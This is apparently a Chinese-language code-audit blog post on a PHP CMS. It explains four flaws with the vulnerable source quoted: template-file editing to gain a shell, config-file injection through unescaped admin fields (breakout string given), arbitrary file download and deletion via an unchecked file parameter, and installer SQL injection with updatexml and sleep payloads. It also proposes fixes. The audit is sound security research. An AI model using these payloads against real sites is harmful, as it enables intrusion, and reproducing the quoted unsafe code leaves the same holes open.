在代码审计中,看懂有问题的代码其实很简单,难的是如何从一套源码中找到那个有问题的点。每个人都有一套自己的审计方法,有的人喜欢从入口着手,通读整套系统源码,逐步排查;有的人喜欢直接找输入输出交互点,简单粗暴。我喜欢在本地搭建测试环境,用黑盒+白盒的思维来找出漏洞。
一、编辑模版getshell
发现后台修改模版处没有对$path和$filename做限制,造成任意文件编辑。
利用如下:修改要编辑的文件名
测试phpinfo()
利用成功。可以通过对路径与文件名后缀进行过滤来修补此问题
二、插配置文件getshell
在/classes/baseset.class.php中,69到124行定义了改下配置文件函数,但是并没有对用户的输入进行过滤,通过构造,可以getshell
static function writeConfig($post){
$confile=PROJECT_PATH."config.inc.php";
$configText = file_get_contents($confile);
self::writeindex($post['appStyle'], $post['cstart']);
$reg=array(
"/define\(\"CTIME\".+?;/i",
"/define\(\"APP_NAME\".+?;/i",
"/define\(\"APP_ENAME\".+?;/i",
"/define\(\"KEYWORD\".+?;/i",
"/define\(\"DESCRIPTION\".+?;/i",
"/define\(\"ICP\".+?;/i",
"/define\(\"COPY\".+?;/i",
"/define\(\"ARTICLE_PAGE_SIZE\".+?;/i",
"/define\(\"PHTURE_PAGE_SIZE\".+?;/i",
"/define\(\"HOME_COLUMN_SIZE\".+?;/i",
"/define\(\"HOME_COLUMNPAGE_SIZE\".+?;/i",
"/define\(\"POSITION\".+?;/i",
"/pictureSize\s*=\s*.+?;/i",
"/thumbSize\s*=\s*.+?;/i",
"/bannerSize\s*=\s*.+?;/i",
"/playSize\s*=\s*.+?;/i"
);
$rep=array(
"define(\"CTIME\", \"{$post['ctime']}\");",
"define(\"APP_NAME\", \"{$post['appname']}\");",
"define(\"APP_ENAME\", \"{$post['eappname']}\");",
"define(\"KEYWORD\", \"{$post['keyword']}\");",
"define(\"DESCRIPTION\", \"{$post['description']}\");",
"define(\"ICP\", \"{$post['icp']}\");",
"define(\"COPY\", \"{$post['copy']}\");",
"define(\"ARTICLE_PAGE_SIZE\", \"{$post['articlePageSize']}\");",
"define(\"PHTURE_PAGE_SIZE\", \"{$post['photoPageSize']}\");",
"define(\"HOME_COLUMN_SIZE\", \"{$post['homecolumnsize']}\");",
"define(\"HOME_COLUMNPAGE_SIZE\", \"{$post['homecolumnpagesize']}\");",
"define(\"POSITION\", \"{$post['position']}\");",
"pictureSize = array('maxWidth' => {$post['maxWidth']}, 'maxHeight' => {$post['maxHeight']});",
"thumbSize = array('width' => {$post['width']}, 'height' => {$post['height']});",
"bannerSize = array('bwidth' => {$post['bwidth']}, 'bheight' => {$post['bheight']});",
"playSize = array('pwidth' => {$post['pwidth']}, 'pheight' => {$post['pheight']});"
);
if(isset($_FILES["water"])) {
$water=self::changeWater();
if($water) {
$img="/define\(\"WATER\"\s*,\s*\"(.+?)\"\);/i";
preg_match($img, $configText, $arr);
$srcimg=PROJECT_PATH."public/uploads/".$arr[1];
if(file_exists($srcimg))
unlink($srcimg);
$reg[] = $img;
$rep[] = "define(\"WATER\",\"{$water}\");";
}
}
return file_put_contents($confile, preg_replace($reg, $rep, $configText));
}
在版权出插入 ");?>define("a", "asdas
那么写进去后的文件就是
闭合成功,该CMS几处涉及到修改配置文件的函数都没有考虑到这个问题,实际利用中将phpinfo改为file_put_content即可getshell
修补方法,建议将写入文件的数据用addslashes转义。
三、任意文件下载、删除
在/admin/controls/databak.class.php中
//删除数据文件
function del(){
$filename = $_GET['file'];
$dirname=PROJECT_PATH.'databak/'.$filename;
unlink($dirname);
$this->filelist();
$this->mess("删除成功",true);
$this->display("index");
}
//下载数据文件
function dow(){
$filename=PROJECT_PATH.'databak/'.$_GET['file'];
header("Content-disposition:filename=".$_GET['file']);
header("Content-type:application/octetstream");
header("Content-Length:".filesize($filename));
header("Pragma:no-cache");
header("Expires:0");
readfile($filename);
}
del()与dow()均未对$filename做出限制,导致任意文件下载和删除,此CMS所有涉及到文件下载和删除的地方均是如此。但是在利用上却有个问题,即导航的链接地址,格式为“/模块名/操作名/参数/值”,也就是说如果将文件名改为../config.inc.php,会导致系统识别参数失败。目前,我尚未找到控制识别url导航的代码。
四、安装文件SQL注入
$insert="INSERT INTO ".TABPREFIX."user(gid,username, userpwd, email,regtime) VALUES('1','".$user["ADMIN_USER"]."', '".md5($user["ADMIN_PWD"])."','".$user["ADMIN_MAIL"]."','".time()."')";
if(mysql_query($insert)){
$this->info.='添加管理员用户'.$user["ADMIN_USER"].'成功!
';
}else{
$this->info.='添加管理员用户'.$user["ADMIN_USER"].'失败!';
mysql_close();
return false;
}
insert注入,可以使用admin' or updatexml(1,concat(0x7e,(version())),0) or'
来报错注入,但是本环境测试失败,admin' or sleep(5) or'
延时注入测试成功,虽然都没什么实际意义。